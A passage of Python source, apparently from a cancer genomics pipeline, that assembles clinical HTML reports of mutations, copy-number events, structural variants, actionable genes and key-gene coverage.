cnv_by_experiments.values()]\n for e, (seq2c, cnvkit) in cnv_by_experiments.items():\n is_female = e.patient and e.patient.gender == 'F'\n if seq2c:\n for event in seq2c.values():\n if event.is_amp() or event.is_del():\n cnv_by_key_by_experiment[(event.gene.name, event.amp_del)][e]['seq2c'] = event\n if cnvkit:\n for event in cnvkit.values():\n if is_female and event.chrom == 'chrY':\n continue\n if event.is_amp() or event.is_del():\n cnv_by_key_by_experiment[(event.gene.name, event.amp_del)][e]['cnvkit'] = event\n\n if all(seq2c_found):\n cnvkit_log_ratio, cnvkit_amp_del = 'Log ratio (CNVkit)', 'Amp/Del (CNVkit)'\n else:\n cnvkit_log_ratio, cnvkit_amp_del = 'Log ratio', 'Amp/Del'\n cnv_by_key_by_experiment = OrderedDict(sorted(cnv_by_key_by_experiment.items(), key=lambda x: x[0][0]))\n chr_order = get_chrom_order(genome)\n for event_key, events_by_experiment in cnv_by_key_by_experiment.items():\n event = next((e for e in events_by_experiment.values() if e is not None), None)\n seq2c_event = event['seq2c'] if 'seq2c' in event else None\n cnvkit_event = event['cnvkit'] if 'cnvkit' in event else None\n common_event = seq2c_event or cnvkit_event\n if len(cnv_by_experiments.values()) > 1:\n is_event_in_this_report = False\n for e, event in events_by_experiment.items():\n if e in full_names:\n is_event_in_this_report = True\n break\n if not is_event_in_this_report:\n continue\n row = report.add_row()\n ngb_work_dir = safe_mkdir(join(work_dir, 'ngb_tmp'))\n ngb_link = get_ngb_link(ngb_work_dir, ngb_link_tmpl, common_event.gene.chrom, common_event.gene.start, common_event.gene.end)\n row.add_record('Gene', common_event.gene.name, html_fpath=ngb_link)\n row.add_record('Chr', common_event.gene.chrom.replace('chr', ''), num=chr_order[common_event.gene.chrom])\n\n if len(cnv_by_experiments.values()) == 1:\n if seq2c_event:\n row.add_record('Log ratio', '%.2f' % seq2c_event.log2r)\n row.add_record('Amp/Del', seq2c_event.amp_del)\n row.add_record('BP/Whole', **self._cnv_fragment_recargs(common_event, seq2c_event, cnvkit_event))\n if cnvkit_event:\n row.add_record(cnvkit_log_ratio, '%.2f' % cnvkit_event.log2r)\n row.add_record(cnvkit_amp_del, cnvkit_event.amp_del)\n else:\n for e, event in events_by_experiment.items():\n if e not in full_names:\n continue\n full_name = full_names[e]\n common_event = event['seq2c'] or event['cnvkit']\n row.add_record(full_name + ' log ratio', '%.2f' % common_event.log2r)\n\n # if is_whole_genomic_profile and event.gene.key not in gene_by_name:\n # row.hidden = True\n\n if len(cnv_by_experiments.values()) > 1 and not cur_group_num:\n num_samples = len(cnv_by_experiments.keys())\n row.add_record('Samples', num_samples)\n\n return report\n\n def make_key_genes_cov_json(self, experiment_by_key):\n chr_cum_lens = Chromosome.get_cum_lengths(self.chromosomes_by_name)\n chr_cum_len_by_chrom = dict(zip([pct_cov.name for pct_cov in self.chromosomes_by_name.values()], chr_cum_lens))\n\n gene_names = []\n transcript_names = []\n strands = []\n\n ticks_x = [[(chr_cum_lens[i] + chr_cum_lens[i + 1]) // 2, list(self.chromosomes_by_name.values())[i].short_name]\n for i in range(len(self.chromosomes_by_name.keys()))]\n\n hits = list()\n for key, e in experiment_by_key.items():\n gene_med_depths = []\n pct_covs_in_thresh = []\n coords_x = []\n cds_cov_by_gene = defaultdict(list)\n mut_info_by_gene = dict()\n\n for gene in e.gene_by_name.values():\n if not gene.is_key:\n continue\n # gene = e.gene_by_name.get((gn, chrom))\n # if not gene:\n # warn('make_key_genes_cov_json: key/target gene ' + gn + ' on ' + str(chrom) + ' not found in analysis files.')\n # continue\n\n mut_info_by_gene[gene.name] = [('p.' + m.aa_change if m.aa_change else '.') for m in gene.mutations if m.is_canonical]\n for se in gene.cnv_events:\n if se and (se.is_amp() or se.is_del()):\n mut_info_by_gene[gene.name].append(se.amp_del + ', ' + se.fragment)\n\n if not gene.cov_pct_at_thresh:\n continue\n\n gene_names.append(gene.name)\n transcript_names.append(gene.transcript_id)\n strands.append(gene.strand)\n gene_med_depths.append(gene.med_depth)\n pct_cov = gene.cov_pct_at_thresh.get(e.depth_cutoff)\n assert pct_cov is not None\n pct_covs_in_thresh.append(pct_cov)\n if not gene.start or not gene.end or not gene.chrom:\n err('Gene ' + gene.name + ': no chrom or start or end specified')\n continue\n if gene.chrom not in chr_cum_len_by_chrom:\n continue\n coords_x.append(chr_cum_len_by_chrom[gene.chrom] + gene.start + (gene.end - gene.start) // 2)\n cds_cov_by_gene[gene.name] = [dict(\n s=cds.start, # start\n e=cds.end, # end\n d=cds.med_depth, # medDepth\n p=cds.cov_pct_at_thresh.get(e.depth_cutoff), # percentInThreshold\n ) for cds in gene.cdss]\n\n hits.append(dict(\n key=key.lower(),\n coords_x=coords_x,\n gene_med_depths=gene_med_depths,\n pct_covs_in_thresh=pct_covs_in_thresh,\n cds_cov_by_gene=cds_cov_by_gene,\n mut_info_by_gene=mut_info_by_gene\n ))\n\n data = dict(\n gene_names=gene_names,\n transcript_names=transcript_names,\n strands=strands,\n ticks_x=ticks_x,\n lines_x=chr_cum_lens,\n )\n\n if len(hits) == 1:\n for k, v in hits[0].items():\n data[k] = v\n data['color'] = None\n else:\n data['hits'] = hits\n\n return json.dumps(data)\n\n def sample_section(self, experiment, use_abs_report_fpath=False, sample_name=None, report_fpath=None):\n d = dict()\n d['patient'] = {'sex': 'unknown'}\n d['project_report_rel_path'] = 'not generated'\n d['project_dirpath'] = 'not generated'\n # d['panel'] = 'unknown'\n # d['bed_path'] = 'unknown'\n # d['target_type'] = 'unknown'\n # d['target_fraction'] = 'unknown'\n # d['avg_depth'] = 'unknown'\n\n d['key'] = experiment.key\n d['sample'] = sample_name or experiment.sample.name.replace('_', ' ')\n if experiment.patient and experiment.patient.gender:\n d['patient'] = {'sex': experiment.patient.gender}\n d['project_name'] = experiment.project_name.replace('_', ' ') if experiment.project_name else ''\n if experiment.project_report_path:\n if use_abs_report_fpath:\n d['project_report_rel_path'] = experiment.project_report_path\n elif report_fpath:\n d['project_report_rel_path'] = relpath(experiment.project_report_path, dirname(report_fpath))\n # d['project_dirpath'] = experiment.project_dirpath\n if experiment.target:\n d['target_section'] = dict()\n d['target_section']['coverage_interval'] = experiment.target.coverage_interval or 'undefined'\n d['target_section']['bed_path'] = experiment.target.bed_fpath\n d['target_section']['size'] = Metric.format_value(experiment.target.size, unit='bp', is_html=True)\n if experiment.target.is_small:\n d['target_section']['is_small_target'] = True\n # TODO: fix this\n # d['target_section']['target_fraction'] = Metric.format_value(experiment.target.coverage_percent, is_html=True, unit='%')\n\n # d['analysis_type'] = experiment.sample.normal_match\n\n try:\n sample_type = self.get_data_from_lims(experiment.project_name, experiment.sample.name,\n experiment.jira_url)\n except:\n pass\n else:\n if sample_type:\n d['sample_type'] = ', '.join(sample_type)\n\n d['genome_build'] = experiment.genome # TODO: get genome build from the relevant project, not from the default config for this new run\n # approach_dict['min_depth'] = Metric.format_value(min_depth, is_html=True)\n if experiment.avg_depth is not None:\n d['avg_depth'] = Metric.format_value(experiment.avg_depth, is_html=True)\n return d\n\n def cnv_section(self, cnv_report):\n cnv_dict = dict()\n rows = cnv_report.get_rows_of_records()\n if cnv_report:\n cnv_dict['table'] = build_report_html(cnv_report, sortable=True)\n header = build_table_header_row(cnv_report.metric_storage.sections[0], sortable=True)\n if len(rows) > 3:\n table_cols = 2 if header.count(' 5 else 3\n table_cols = min(table_cols, len(rows))\n cnv_dict['header'] = [header] * table_cols\n return cnv_dict\n\n @staticmethod\n def get_data_from_lims(project_name, sample_name, jira_url=None):\n # Create the LIMS interface instance\n try:\n from genologics import lims\n except ImportError:\n return None\n lims_instance = lims.Lims()\n lims_sample = None\n sample_type = None\n jira_url = jira_url\n if not jira_url:\n return None\n from az.jira_utils import retrieve_jira_info\n jira_case = retrieve_jira_info(jira_url)\n if not jira_case:\n return None\n container_id = re.findall(r'_[A-Z0-9]+XX', jira_case.data_hub) # '/ngs/oncology/datasets/hiseq4000/160115_K00172_0044_H3GCYBBXX'\n if container_id:\n container_id = container_id[0][1:]\n lims_artifacts = lims_instance.get_artifacts(containername=container_id)\n for artifact in lims_artifacts:\n for sample in artifact.samples:\n if sample.name.replace(' ', '_') == sample_name.replace(' ', '_'):\n lims_sample = sample\n if lims_sample:\n sample_tissue, collection_type, tumor_type = None, None, None\n for key, value in lims_sample.udf.items():\n if key == 'Sample Tissue':\n sample_tissue = value\n if key == 'Collection Type' and value == 'FFPE':\n collection_type = value\n if key == 'Normal Primary Metastasis':\n tumor_type = value\n sample_type = [sample_tissue, collection_type, tumor_type]\n sample_type = [s for s in sample_type if s]\n else:\n debug('Project was not found in LIMS')\n return sample_type\n\n @staticmethod\n def _db_recargs(mut):\n def filter_digits(s):\n return ''.join(c for c in s if c.isdigit())\n\n val = OrderedDict()\n\n if mut.cosmic_id:\n val['COSM'] = 'http://cancer.sanger.ac.uk/cosmic/mutation/overview?id=' + \\\n filter_digits(mut.cosmic_id)\n if mut.dbsnp_id:\n val['dbSNP'] = 'http://www.ncbi.nlm.nih.gov/SNP/snp_ref.cgi?searchType=adhoc_search&type=rs&rs=' + \\\n filter_digits(mut.dbsnp_id)\n\n return dict(value=None, html_fpath=val)\n\n @staticmethod\n def _aa_chg_recargs(mut):\n aa_chg = ''.join([gray(c) if c.isdigit() else c for c in (mut.aa_change or '')])\n return dict(value=aa_chg)\n\n @staticmethod\n def _gene_recargs(mut, is_panel=False):\n t = ''\n tooltip = ''\n if mut.transcript:\n tooltip += '' + mut.transcript + ''\n if mut.aa_len:\n tooltip += '
AA length: ' + str(mut.aa_len)\n if mut.exon:\n tooltip += '
Exon: ' + str(mut.exon)\n if not is_panel:\n if mut.gene.is_key:\n tooltip += '
Key gene'\n if mut.gene.is_az300:\n tooltip += '
AZ 300'\n elif mut.gene.is_az800:\n tooltip += '
AZ 800'\n if tooltip:\n t += add_tooltip(mut.gene.name, tooltip)\n else:\n t += mut.gene.name\n\n return dict(value=t, show_content=True)\n\n @staticmethod\n def _pos_recargs(work_dir, chrom=None, chrom_key=None, start=None, end=None, end_chrom=None, ngb_link_tmpl=None):\n c = (chrom.replace('chr', '')) if chrom else ''\n if not end or not end_chrom:\n p_html = Metric.format_value(start, human_readable=True, is_html=True) + \\\n ('-' + Metric.format_value(end, human_readable=True, is_html=True) if end else '') if start else ''\n p_html = gray(c + ':') + p_html\n ngb_link = get_ngb_link(work_dir, ngb_link_tmpl, chrom, start, end or start)\n if ngb_link:\n p_html = '' + p_html + ''\n else:\n end_c = (end_chrom.replace('chr', ''))\n start_html = gray(c + ':') + Metric.format_value(start, human_readable=True, is_html=True)\n end_html = gray(end_c + ':') + Metric.format_value(end, human_readable=True, is_html=True)\n ngb_link = get_ngb_link(work_dir, ngb_link_tmpl, chrom, start)\n ngb_link_end = get_ngb_link(work_dir, ngb_link_tmpl, end_chrom, end)\n if ngb_link:\n p_html = ('' + start_html + '')\n p_html += '-'\n p_html += '' + end_html + ''\n else:\n p_html = start_html + '-' + end_html\n return dict(value=p_html, num=chrom_key * 100000000000 + start)\n\n cdna_chg_regexp = re.compile(r'([c,n]\\.)([-\\d_+*]+)(.*)')\n @staticmethod\n def _cdna_chg_recargs(mut):\n chg = mut.cdna_change\n if chg:\n p1, num, p3 = BaseClinicalReporting.cdna_chg_regexp.match(chg).groups()\n chg = (gray(str(p1)) if p1 is not None else '') + \\\n (gray(str(num)) if num is not None else '') + \\\n (str(p3) if p3 is not None else '')\n\n return dict(value=chg)\n\n @staticmethod\n def _g_chg_recargs(mut):\n chg = mut.ref + '>' + mut.alt\n if mut.var_type:\n t = mut.var_type\n if t in ['Insertion', 'Deletion']:\n t = t[:3]\n chg = gray(t) + ' ' + chg\n\n if mut.solvebio_url:\n chg = '' + chg + ''\n\n return dict(value=chg)\n\n @staticmethod\n def _hotspot_recargs(mut):\n p = Metric.format_value(mut.pos, human_readable=True, is_html=True) if mut.pos else ''\n chg = mut.ref + '>' + mut.alt\n return dict(value=gray(p + ':') + chg)\n\n @staticmethod\n def _cnv_fragment_recargs(event, seq2c_event, cnvkit_event):\n t = ''\n tooltip = ''\n if seq2c_event:\n tooltip += 'Seq2C
' + str(seq2c_event.ab_segments)\n if seq2c_event and cnvkit_event:\n tooltip += '
'\n if cnvkit_event:\n tooltip += 'CNVkit ' + \\\n ('' + cnvkit_event.transcript if cnvkit_event.transcript else '') + \\\n '
' + str(cnvkit_event.ab_segments)\n if tooltip:\n t += add_tooltip(event.fragment, tooltip)\n else:\n t += event.fragment\n\n return dict(value=t, show_content=True)\n\n @staticmethod\n def _significance_field(mut):\n txt = mut.signif\n if mut.reason:\n txt += ' (' + mut.reason + ') '\n txt = '' + txt + ''\n return dict(value=txt)\n\n @staticmethod\n def _highlighting_and_hiding_mut_row(row, mut):\n if not mut.in_main_table:\n row.hidden = True\n # if mut.incidentalome_reason:\n # row.class_ += ' incidentalome'\n # if not mut.signif or mut.signif.lower() in ['unknown']:\n # if mut.solvebio and 'Pathogenic' in mut.solvebio.clinsig:\n # warn('Mutation ' + str(mut) + ' is unknown, but found in SolveBio as Pathogenic')\n # row.hidden = True\n if mut.signif:\n row.class_ += ' ' + mut.signif.lower()\n return row\n\n @staticmethod\n def _reads_recargs(read_support_dict):\n tooltip = ''\n for caller, reads_num in read_support_dict.items():\n reads = str(reads_num) if reads_num is not None else 'no reads'\n tooltip += caller + ': ' + reads + '
'\n read_support_num = read_support_dict['manta'] if 'manta' in read_support_dict else read_support_dict['lumpy']\n read_support = str(read_support_num) if read_support_num is not None else '.'\n t = add_tooltip(read_support, tooltip)\n return dict(value=t, num=read_support_num)\n\n\nclass ClinicalReporting(BaseClinicalReporting):\n def __init__(self, work_dir, genome, clinical_experiment_info, key_gene_names,\n min_freq, act_min_freq, call_vis_html_fpath, skip_ngb=False):\n BaseClinicalReporting.__init__(self, work_dir, genome)\n\n self.key_gene_names = key_gene_names\n\n self.experiment = clinical_experiment_info\n self.genome = clinical_experiment_info.genome\n self.sample = clinical_experiment_info.sample\n self.min_freq = min_freq\n self.act_min_freq = act_min_freq\n self.call_vis_html_fpath = call_vis_html_fpath\n\n self.mutations_report = None\n self.sv_report = None\n self.actionable_genes_report = None\n self.seq2c_plot_data = None\n self.cnvkit_plot_data = None\n self.cnv_report = None\n self.key_genes_report = None\n self.cov_plot_data = None\n\n match_name, match_bam = None, None\n if self.sample and self.sample.normal_match and self.sample.normal_match.bam:\n match_name = self.sample.normal_match.name\n match_bam = self.sample.normal_match.bam\n ngb_link_tmpl = get_ngb_link_template(\n work_dir, self.sample.name, self.genome, self.experiment.project_name,\n self.experiment.target.bed_fpath, match_name, match_bam) if not skip_ngb else None\n\n debug('Preparing data...')\n if self.experiment.mutations:\n self.mutations_report = self.make_mutations_report(\n {self.experiment: self.experiment.mutations},\n ngb_link_tmpl=ngb_link_tmpl,\n )\n self.mutations_plot_data = self.make_mutations_json({self.experiment: self.experiment.mutations})\n self.substitutions_plot_data = self.make_substitutions_json({self.experiment: self.experiment.mutations})\n if self.experiment.sv_events:\n self.sv_report = self.make_sv_report({self.experiment: self.experiment.sv_events}, ngb_link_tmpl=ngb_link_tmpl)\n if self.experiment.seq2c_events_by_gene:\n self.seq2c_plot_data = self.make_cnv_plot_json({self.experiment: self.experiment.seq2c_events_by_gene})\n if self.experiment.cnvkit_events_by_gene:\n self.cnvkit_plot_data = self.make_cnv_plot_json({self.experiment: self.experiment.cnvkit_events_by_gene})\n if self.seq2c_plot_data or self.cnvkit_plot_data:\n self.cnv_report = self.make_cnv_report({self.experiment: (self.experiment.seq2c_events_by_gene, self.experiment.cnvkit_events_by_gene)},\n self.experiment.genome, work_dir, ngb_link_tmpl=ngb_link_tmpl)\n if self.experiment.actionable_genes_dict and \\\n (self.experiment.mutations or self.experiment.seq2c_events_by_gene or self.experiment.cnvkit_events_by_gene or self.experiment.sv_events):\n self.actionable_genes_report = self.make_actionable_genes_report(self.experiment.actionable_genes_dict, act_min_freq)\n if self.experiment.avg_depth is not None and self.experiment.depth_cutoff is not None:\n self.key_genes_report = self.make_key_genes_cov_report(\n self.experiment.gene_by_name, self.key_gene_names, self.experiment.avg_depth)\n self.cov_plot_data = self.make_key_genes_cov_json({self.experiment.key: self.experiment})\n\n def write_report(self, output_fpath):\n debug('')\n\n data = {'software_version': version.__version__,\n 'key_or_target': self.experiment.genes_collection_type,\n 'genes_description': self.experiment.genes_description,\n 'sample': self.sample_section(self.experiment, report_fpath=output_fpath),\n\n # 'variants': self.__mutations_section(output_fpath),\n # 'coverage': self.__coverage_section(),\n # 'actionable_genes': self.__actionable_genes_section(),\n\n 'total_key_genes': Metric.format_value(len(self.key_gene_names), is_html=True),\n 'linear_vis_link': relpath(self.call_vis_html_fpath,\n dirname(output_fpath)) if self.call_vis_html_fpath else '',\n 'main_tab_name': '',\n 'hidden_mutations_warning': '',\n 'secondary_tab_name': ''}\n\n if self.mutations_report:\n self.mutations_report.keep_order = True\n data['variants'] = {\n 'table': build_report_html(self.mutations_report, sortable=True),\n 'total_variants': Metric.format_value(self.experiment.total_variants, is_html=True),\n 'plot_data': self.mutations_plot_data,\n 'substitutions_plot_data': self.substitutions_plot_data,\n 'variants_tsv': relpath(self.experiment.mutations_fpath, dirname(output_fpath)),\n 'variants_tsv_basename': basename(self.experiment.mutations_fpath),\n }\n\n if self.experiment.genes_collection_type == 'target':\n data['main_tab_name'] = 'known, likely in ' + data['total_key_genes'] + ' target genes'\n data['secondary_tab_name'] = '+ unknown'\n else:\n data['main_tab_name'] = 'known, likely in ' + data['total_key_genes'] + ' key genes'\n in_key_genes = sum(1 for m in self.experiment.mutations if m.gene.is_key)\n if self.experiment.total_mutations > ngs_report_mutation_table_limit and in_key_genes > 0:\n data['secondary_tab_name'] = '+ unknown'\n data['hidden_mutations_warning'] = ('The number of mutations is too big (' +\n str(self.experiment.total_mutations) + '), hiding non-key gene mutations. '\n 'Download full list in TSV')\n else:\n data['secondary_tab_name'] = '+ unknown'\n\n if self.actionable_genes_report and self.actionable_genes_report.rows:\n self.actionable_genes_report.keep_order = True\n data['actionable_genes'] = {\n 'table': build_report_html(self.actionable_genes_report, sortable=False),\n }\n\n if self.sv_report and self.sv_report.rows:\n self.sv_report.keep_order = True\n data['sv'] = {\n 'report': {\n 'table': build_report_html(self.sv_report, sortable=True)},\n 'sv_link': relpath(self.experiment.sv_fpath, start=dirname(output_fpath)),\n 'default_sv_depth': SVEvent.min_sv_depth\n }\n\n if self.experiment.circos_data:\n data['circos'] = self.experiment.circos_data\n\n data['cnv'] = {}\n if self.seq2c_plot_data:\n data['cnv']['seq2c_plot_data'] = self.seq2c_plot_data\n if self.cnvkit_plot_data:\n data['cnv']['cnvkit_plot_data'] = self.cnvkit_plot_data\n if self.cnv_report:\n data['cnv']['cnv_table'] = self.cnv_section(self.cnv_report)\n\n if self.experiment.depth_cutoff is not None and self.key_genes_report is not None:\n rows = self.key_genes_report.rows\n GENE_COL_NUM = min(3, len(rows))\n data['coverage'] = {\n 'depth_cutoff': self.experiment.depth_cutoff,\n 'plot_data': self.cov_plot_data,\n 'table': build_report_html(self.key_genes_report, sortable=True),\n 'header': [build_table_header_row(\n self.key_genes_report.metric_storage.sections[0], sortable=True)\n ] * GENE_COL_NUM,\n }\n\n sections = [item for item in\n ['variants', 'sv', 'actionable_genes', 'circos', 'cnv', 'coverage']\n if item in data]\n if len(sections) > 1:\n data['menu_items'] = {item: True for item in sections}\n\n data['min_af'] = str(float(self.min_freq) * 100)\n data['act_min_af'] = str(float(self.act_min_freq) * 100)\n\n # comment_php_path = 'http://ngs.usbod.astrazeneca.net/save_comment.php'\n # if is_uk():\n # comment_php_path = '/ngs/reports/save_comment.php'\n data['comment_php_path'] = '' # json.dumps(comment_php_path)\n\n def _get_static_file(_fname):\n return join(dirname(abspath(__file__)), pardir, 'static', _fname)\n write_static_html_report(data, output_fpath,\n tmpl_fpath=join(dirname(abspath(__file__)), 'template.html'),\n extra_js_fpaths=[_get_static_file(fname) for fname in [\n 'clinical_report.js',\n 'draw_mutations_plot.js',\n 'draw_substitutions_plot.js',\n 'draw_genes_coverage_plot.js',\n 'draw_seq2c_plot.js',\n 'd3.min.js',\n 'd3.tip.js',\n 'circosJS.js',\n 'circosJS_utils.js',\n 'circosJS_load.js',\n 'queue.js']],\n extra_css_fpaths=[_get_static_file(fname) for fname in [\n 'clinical_report.css',\n 'header_picture.css',\n 'circosJS.css']])\n\n debug('Saved clinical report to ' + output_fpath)\n debug('-' * 70)\n debug()\n return output_fpath\n\n def __mutations_section(self, output_fpath):\n mutations_dict = dict()\n if self.mutations_report:\n self.mutations_report.keep_order = True\n mutations_dict['table'] = build_report_html(self.mutations_report, sortable=True)\n mutations_dict['total_variants'] = Metric.format_value(self.experiment.total_variants, is_html=True)\n mutations_dict['plot_data'] = self.mutations_plot_data\n mutations_dict['substitutions_plot_data'] = self.substitutions_plot_data\n mutations_dict['variants_tsv'] = relpath(self.experiment.mutations_fpath, dirname(output_fpath))\n mutations_dict['variants_tsv_basename'] = basename(self.experiment.mutations_fpath)\n\n return mutations_dict\n\n def __sv_section(self):\n sv_dict = dict()\n if self.sv_report and self.sv_report.rows:\n self.sv_report.keep_order = True\n sv_dict['table'] = build_report_html(self.sv_report, sortable=True)\n return sv_dict\n\n def __coverage_section(self):\n coverage_dict = dict()\n if self.experiment.depth_cutoff is not None and self.key_genes_report is not None:\n coverage_dict['depth_cutoff'] = self.experiment.depth_cutoff\n coverage_dict['plot_data'] = self.cov_plot_data\n rows = self.key_genes_report.rows\n GENE_COL_NUM = min(3, len(rows))\n coverage_dict['table'] = build_report_html(self.key_genes_report, sortable=True)\n coverage_dict['header'] = [build_table_header_row(self.key_genes_report.metric_storage.sections[0],\n sortable=True)] * GENE_COL_NUM\n return coverage_dict\n\n def __actionable_genes_section(self):\n actionable_genes_dict = dict()\n if self.actionable_genes_report and self.actionable_genes_report.rows:\n self.actionable_genes_report.keep_order = True\n actionable_genes_dict['table'] = build_report_html(self.actionable_genes_report, sortable=False)\n return actionable_genes_dict\n\n def make_key_genes_cov_report(self, gene_by_name, key_gene_names, med_depth):\n if self.experiment.depth_cutoff is None:\n return None\n\n debug('Making ' + self.experiment.genes_collection_type + ' genes coverage report...')\n clinical_cov_metrics = [\n Metric('Gene'),\n Metric('Chr', with_heatmap=False, max_width=20, align='right', sort_direction='ascending'),\n Metric('Depth', med=med_depth, description='Median depth'),\n Metric('% cov at {}x'.format(self.experiment.depth_cutoff), unit='%', med=1, low_inner_fence=0.5, low_outer_fence=0.1),\n Metric('CNV', short_name='  CNV')] # short name is hack for IE9 who doesn't have \"text-align: left\" and tries to stick \"CNV\" to the previous col header\n\n clinical_cov_metric_storage = MetricStorage(sections=[ReportSection(name='coverage', metrics=clinical_cov_metrics)])\n\n key_genes_report = PerRegionSampleReport(sample=self.sample, metric_storage=clinical_cov_metric_storage)\n chr_order = get_chrom_order(self.experiment.genome)\n\n for gene in sorted(gene_by_name.values(), key=lambda g: g.name):\n if not gene.is_key:\n continue\n # for gn, chrom in sorted(gene_by_name):\n # gene = gene_by_namechrom.get((gn, chrom))\n # if not gene:\n # warn('make_key_genes_cov_report: key/target gene ' + str(gn) + ' on ' + str(chrom) + ' not found in analysis files.')\n # continue\n if not gene.cov_pct_at_thresh:\n warn('Warning: gene ' + gene.name + ' has no cov_pct_at_thresh.')\n continue\n else:\n reg = key_genes_report.add_row()\n reg.add_record('Gene', gene.name)\n reg.add_record('Chr', gene.chrom.replace('chr', '') if gene.chrom else None, num=chr_order[gene.chrom] if gene.chrom else None)\n reg.add_record('Depth', gene.med_depth)\n m = clinical_cov_metric_storage.find_metric('% cov at {}x'.format(self.experiment.depth_cutoff))\n pct = next((pct for cutoff, pct in gene.cov_pct_at_thresh.items() if cutoff == self.experiment.depth_cutoff), None)\n pct = 1.0 / 100.0 * pct\n reg.add_record(m.name, pct)\n if any(se.is_amp() or se.is_del() for se in gene.cnv_events):\n reg.add_record('CNV', '; '.join([se.amp_del + ', ' + se.fragment for se in gene.cnv_events if se.is_amp() or se.is_del()]))\n\n return key_genes_report\n\n def make_actionable_genes_report(self, actionable_genes_dict, act_min_freq):\n debug('Preparing mutations stats for ' + self.experiment.genes_collection_type + ' gene tables')\n\n clinical_action_metric_storage = MetricStorage(\n sections=[ReportSection(metrics=[\n Metric('Gene', min_width=70, max_width=70), # Gene & Transcript\n Metric('Variant', min_width=80, max_width=120, style='white-space: pre !important;', class_='long_line'), # p.Glu82Lys\n Metric('Type', min_width=120, max_width=120, style='white-space: pre; !important', class_='long_line'), # Frameshift\n Metric('Types of recurrent alterations', short_name='Types of recurrent\\nalterations',\n min_width=130, max_width=130, style='white-space: pre;'), # Mutation\n Metric('Rationale', style='max-width: 300px !important; white-space: normal;'), # Translocations predict sensitivity\n Metric('Therapeutic Agents', max_width=120, style='white-space: normal;'), # Sorafenib\n Metric('Freq', short_name='Freq', max_width=55, unit='%', style='white-space: pre;', with_heatmap=False),\n Metric('VarDict status', short_name='Significance', with_heatmap=False)\n ], name='actionable')])\n\n report = PerRegionSampleReport(sample=self.sample, metric_storage=clinical_action_metric_storage, keep_order=True)\n actionable_gene_names = actionable_genes_dict.keys()\n\n sv_mutation_types = {'Rearrangement', 'Fusion', 'Amplification', 'Deletion'}\n cnv_mutation_types = {'Amplification', 'Deletion'}\n\n for gene in sorted(self.experiment.gene_by_name.values(), key=lambda x: x.name):\n if gene.name not in actionable_gene_names:\n continue\n possible_mutation_types = set(actionable_genes_dict[gene.name][1].split('; '))\n # possible_mutation_types = possible_mutation_types - sv_mutation_types\n # if not possible_mutation_types: continue\n actionable_variants = []\n\n if self.experiment.mutations:\n vardict_mut_types = possible_mutation_types - sv_mutation_types - cnv_mutation_types\n if vardict_mut_types:\n for mut in self.experiment.mutations:\n if mut.gene.name == gene.name:\n if mut.signif in ['known', 'likely']:\n actionable_var = ActionableVariant()\n actionable_var.mut = mut.aa_change if mut.aa_change else '.'\n actionable_var.var_type = mut.var_type\n actionable_var.freq = mut.freq\n actionable_var.status = mut.signif\n actionable_variants.append(actionable_var)\n\n if cnv_mutation_types:\n for se in gene.cnv_events:\n if 'Amplification' in possible_mutation_types and se.amp_del == 'Amp' or \\\n 'Deletion' in possible_mutation_types and se.amp_del == 'Del':\n actionable_var = ActionableVariant()\n actionable_var.mut = se.amp_del + ', ' + se.fragment\n actionable_var.var_type = se.amp_del\n actionable_variants.append(actionable_var)\n\n if sv_mutation_types:\n svs_by_key = OrderedDict()\n for sv in gene.sv_events:\n if any(a.known or sv.is_exon_deletion(a) for a in sv.annotations):\n svs_by_key[sv.type, tuple(tuple(sorted(a.genes)) for a in sv.annotations)] = sv\n\n for se in svs_by_key.values():\n if ('Fusion' in possible_mutation_types or 'Rearrangement' in possible_mutation_types) and se.type == 'BND' or \\\n 'Deletion' in possible_mutation_types and se.type == 'DEL' or \\\n 'Amplification' in possible_mutation_types and se.type == 'DUP':\n actionable_var = ActionableVariant()\n actionable_var.mut = ', '.join(set('/'.join(set(a.genes)) for a in se.key_annotations if a.genes))\n actionable_var.var_type = BaseClinicalReporting.sv_type_dict.get(se.type, se.type)\n actionable_variants.append(actionable_var)\n\n if not actionable_variants:\n continue\n\n def get_signif_order(status, freq):\n if status == 'known' and freq >= self.act_min_freq:\n return 2\n if status == 'known' or status == 'likely':\n return 1\n return 0\n\n sorted_variants = sorted(actionable_variants, reverse=True,\n key=lambda x: (get_signif_order(x.status, x.freq), x.freq))\n for i, actionable_var in enumerate(sorted_variants):\n reg = report.add_row()\n is_first_row = i == 0\n gene_name = gene.name if is_first_row else ''\n rationale = actionable_genes_dict[gene.name][0] if is_first_row else ''\n types_alterations = actionable_genes_dict[gene.name][1].replace('; ', '\\n') if is_first_row else ''\n therapeutic_agents = actionable_genes_dict[gene.name][2] if is_first_row else ''\n reg.add_record('Gene', gene_name, rowspan=str(len(sorted_variants)))\n reg.add_record('Variant', actionable_var.mut)\n reg.add_record('Type', actionable_var.var_type)\n # if is_first_row:\n reg.add_record('Types of recurrent alterations', types_alterations, rowspan=str(len(sorted_variants)))\n reg.add_record('Rationale', rationale, rowspan=str(len(sorted_variants)))\n reg.add_record('Therapeutic Agents', therapeutic_agents, rowspan=str(len(sorted_variants)))\n reg.add_record('Freq', actionable_var.freq)\n reg.add_record('VarDict status', actionable_var.status)\n\n return report\n\n\nclass GeneralMutationReporting(BaseClinicalReporting):\n def __init__(self, work_dir, samples, genome, clinical_experiment_info, key_gene_names,\n min_freq, act_min_freq, ngs_rep_by_sample, skip_ngb=False):\n BaseClinicalReporting.__init__(self, work_dir, genome)\n\n self.key_gene_names = key_gene_names\n\n self.experiment = clinical_experiment_info\n self.genome = clinical_experiment_info.genome\n self.min_freq = min_freq\n self.act_min_freq = act_min_freq\n\n self.mutations_report = None\n\n ngb_tmpl_by_sample = dict()\n if not skip_ngb:\n for s in samples:\n match_name, match_bam = None, None\n if s.normal_match and s.normal_match.bam:\n match_name = s.normal_match.name\n match_bam = s.normal_match.bam\n ngb_tmpl_by_sample[s.name] = get_ngb_link_template(\n work_dir, s.name, self.genome, self.experiment.project_name,\n self.experiment.target.bed_fpath, match_name, match_bam)\n\n debug('Preparing data...')\n if self.experiment.mutations:\n self.mutations_report = self.make_mutations_report(\n {self.experiment: self.experiment.mutations},\n samples=samples,\n ngb_tmpl_by_sample=ngb_tmpl_by_sample,\n ngs_rep_by_sample=ngs_rep_by_sample)\n self.mutations_plot_data = self.make_mutations_json({self.experiment: self.experiment.mutations})\n self.substitutions_plot_data = self.make_substitutions_json({self.experiment: self.experiment.mutations})\n\n def write_report(self, output_fpath):\n debug('')\n\n data = {'software_version': version.__version__,\n 'key_or_target': self.experiment.genes_collection_type,\n 'genes_description': self.experiment.genes_description,\n 'variants': 